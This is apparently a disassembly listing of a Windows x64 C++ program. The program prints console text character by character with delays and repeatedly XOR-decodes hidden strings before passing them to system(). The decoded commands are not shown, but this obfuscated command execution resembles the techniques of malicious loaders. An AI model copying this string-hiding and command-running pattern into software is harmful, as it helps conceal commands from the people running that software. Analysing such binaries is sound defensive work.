call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x258
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14009b9e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx edx, r12w
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rcx, [rbp + 0x3a30]
cmovae rcx, qword [rbp + 0x3a30]
mov rdi, qword [rbp + 0x3a40]
add rdi, rcx
cmp rbx, rdi
je 0x14000a0c2
nop
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000a090
xor eax, eax
mov qword [rbp + 0x2310], rax
movdqa xmm0, xmmword [0x14009f0c0]
movdqu xmmword [rbp + 0x2318], xmm0
mov dword [rbp + 0x2328], Ordinal_60
mov dword [rbp + 0x232c], reloc.WLDAP32.dll_Ordinal_50
mov dword [rbp + 0x2330], 0x5f
lea rcx, [rbp + 0x2310]
call fcn.14001f780
mov rdx, rax
lea rcx, [rbp + 0x1e8]
call fcn.140002d40
nop
lea rbx, [rbp + 0x1e8]
mov r8, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
cmp rdx, 0x10
cmovae rbx, r8
lea rdi, [rbp + 0x1e8]
cmovae rdi, r8
add rdi, qword [rbp + 0x1f8]
cmp rbx, rdi
je 0x14000a190
nop dword [rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000a150
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
cmp rdx, 0x10
jb 0x14000a1c6
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x14000a1be
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
mov rcx, r8
call fcn.140087bdc
movdqa xmm0, xmmword [0x14009ec80]
movdqu xmmword [rbp + 0x1f8], xmm0
mov byte [rbp + 0x1e8], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], r14
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov dword [rbp - 0x10], 0x6d305b1b
mov byte [rbp - 0xc], 0
lea rbx, [rbp - 0x10]
lea rdi, [rbp - 0xc]
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000a210
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x14000a27d
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a278
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
call fcn.140087bdc
mov qword [rbp], rsi
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2f70], xmm0
movups xmmword [rbp + 0x2f80], xmm0
mov qword [rbp + 0x2f90], rax
mov dword [rbp + 0x2f98], eax
mov dword [rbp + 0x2f9c], Ordinal_79
movdqa xmm0, xmmword [0x14009ed70]
movdqu xmmword [rbp + 0x2fa0], xmm0
movdqa xmm1, xmmword [0x14009ee40]
movdqu xmmword [rbp + 0x2fb0], xmm1
movdqa xmm0, xmmword [0x14009edc0]
movdqu xmmword [rbp + 0x2fc0], xmm0
movdqa xmm1, xmmword [0x14009ed40]
movdqu xmmword [rbp + 0x2fd0], xmm1
movdqa xmm0, xmmword [0x14009ef80]
movdqu xmmword [rbp + 0x2fe0], xmm0
movdqa xmm1, xmmword [0x14009efe0]
movdqu xmmword [rbp + 0x2ff0], xmm1
movdqa xmm0, xmmword [0x14009f080]
movdqu xmmword [rbp + 0x3000], xmm0
movdqa xmm1, xmmword [0x14009ed20]
movdqu xmmword [rbp + 0x3010], xmm1
movdqa xmm0, xmmword [0x14009ed60]
movdqu xmmword [rbp + 0x3020], xmm0
movdqa xmm1, xmmword [0x14009f0a0]
movdqu xmmword [rbp + 0x3030], xmm1
mov dword [rbp + 0x3040], 0x5d
mov dword [rbp + Ordinal_5044], 0x30
lea rcx, [rbp + 0x2f70]
call fcn.14001ebe0
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140002d40
nop
lea rbx, [rbp + 0x168]
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
cmovae rbx, r8
lea rdi, [rbp + 0x168]
cmovae rdi, r8
add rdi, qword [rbp + 0x178]
cmp rbx, rdi
je 0x14000a400
nop dword [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000a3c0
mov rdx, qword [rbp + 0x180]
mov r8, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x14000a436
inc rdx
mov rax, r8
cmp rdx, 0x1000
jb 0x14000a42e
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140012e31
mov rcx, r8
call fcn.140087bdc
movdqa xmm0, xmmword [0x14009ec80]
movdqu xmmword [rbp + 0x178], xmm0
mov byte [rbp + 0x168], 0
lea rbx, [rbp + 0x3a30]
cmp qword [rbp + 0x3a48], 0x10
cmovae rbx, qword [rbp + 0x3a30]
lea rcx, [rbp + 0x3a30]
cmovae rcx, qword [rbp + 0x3a30]
mov rdi, qword [rbp + 0x3a40]
add rdi, rcx
cmp rbx, rdi
je 0x14000a4c2
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rbx]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140024340
lea rdx, [0x140024510]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
inc rbx
cmp rbx, rdi
jne 0x14000a490
lea rdx, [0x14009bab8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003350
lea rdx, [0x140003540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x384
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14009b9e8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.u_rdnSUXRIL]
movups xmmword [rbp + 0x958], xmm0
movsd xmm0, qword [0x14009e9e8]
movsd qword [rbp + 0x968], xmm0
cmp byte [0x14009e9ef], 0
je 0x14000a6c0
cmp r15d, 2
jl 0x14000a67d
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
mov edi, Ordinal_32
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x95c]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14000a580
jmp 0x14000a6c5
lea r9, [rbp + 0x958]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14000a690
mov edi, Ordinal_32
lea rcx, [rbp + 0x958]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009c128]
movups xmmword [rbp + 0x970], xmm0
movsd xmm0, qword [0x14009c138]
movsd qword [rbp + 0x980], xmm0
cmp byte [0x14009c13f], 0
je 0x14000a890
cmp r15d, 2
jl 0x14000a84d
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x974]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14000a750
jmp 0x14000a890
lea r9, [rbp + 0x970]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14000a860
lea rcx, [rbp + 0x970]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e330]
movups xmmword [rbp + 0x988], xmm0
movsd xmm0, qword [0x14009e340]
movsd qword [rbp + 0x998], xmm0
cmp byte [0x14009e347], 0
je 0x14000aa50
cmp r15d, 2
jl 0x14000aa0d
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x98c]
mov r8d, dword [rsp + 0x30]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14000a910
jmp 0x14000aa50
lea r9, [rbp + 0x988]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14000aa20
lea rcx, [rbp + 0x988]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009e388]
movups xmmword [rbp + 0x4b0], xmm0
movsd xmm0, qword [0x14009e398]
movsd qword [rbp + 0x4c0], xmm0
movzx eax, word [0x14009e3a0]
mov word [rbp + 0x4c8], ax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x14000ac20
mov r8d, esi
cmp r15d, 2
jl 0x14000abe3
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x4b4]
mov edx, dword [rsp + 0x30]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000aae0
cmp r8d, 0x1a
jge 0x14000ac20
movsxd rax, r8d
lea r9, [rbp + 0x4b0]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000abf0
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009bf90]
movups xmmword [rbp + 0x1140], xmm0
movups xmm0, xmmword [0x14009bfb0]
movups xmm1, xmmword [0x14009bfa0]
movups xmmword [rbp + 0x1160], xmm0
movups xmmword [rbp + 0x1150], xmm1
mov eax, dword [0x14009c000]
movups xmm0, xmmword [0x14009bfd0]
movups xmm1, xmmword [0x14009bfc0]
mov dword [rbp + 0x11b0], eax
movups xmmword [rbp + 0x1180], xmm0
movups xmmword [rbp + 0x1170], xmm1
movzx eax, word [0x14009c004]
movups xmm0, xmmword [0x14009bff0]
movups xmm1, xmmword [0x14009bfe0]
mov word [rbp + 0x11b4], ax
movups xmmword [rbp + 0x11a0], xmm0
movups xmmword [rbp + 0x1190], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000adf4
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1144]
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x70
jl 0x14000acf1
cmp r8d, 0x76
jge 0x14000ae40
movsxd rax, r8d
lea r9, [rbp + 0x1140]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x76
jl 0x14000ae10
lea rcx, [rbp + 0x1140]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x14009d0a0]
movups xmmword [rbp + 0x1620], xmm0
movups xmm0, xmmword [0x14009d0c0]
movups xmmword [rbp + 0x1640], xmm0
movups xmm0, xmmword [0x14009d0e0]
movups xmm1, xmmword [0x14009d0b0]
movups xmmword [rbp + 0x1660], xmm0
movups xmmword [rbp + 0x1630], xmm1
movups xmm0, xmmword [str.D7_idb]
movups xmm1, xmmword [0x14009d0d0]
movups xmmword [rbp + 0x1680], xmm0
movups xmmword [rbp + 0x1650], xmm1
mov eax, dword [0x14009d118]
movsd xmm0, qword [0x14009d110]
movups xmm1, xmmword [0x14009d0f0]
mov dword [rbp + 0x1698], eax
movsd qword [rbp + 0x1690], xmm0
movups xmmword [rbp + 0x1670], xmm1
mov r8d, esi
cmp r15d, 2
jl 0x14000b023
movdqa xmm5, xmmword [0x14009eca0]
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1624]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14009f180]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14000af20
cmp r8d, 0x7c
jge 0x14000b060
movsxd rax, r8d
lea r9, [rbp + 0x1620]
add r9, rax
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7c
jl 0x14000b030
lea rcx, [rbp + 0x1620]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [0x140000000]
lea rax, [rbx + 0x9cb40]
lea rcx, [rbp + 0x30c0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp r15d, 2
jl 0x14000b230
movdqa xmm5, xmmword [0x14009eca0]
mov edx, esi
movdqa xmm4, xmmword [0x14009f1a0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14009ee80]
movd xmm8, edi
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x30c4]
mov r8d, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
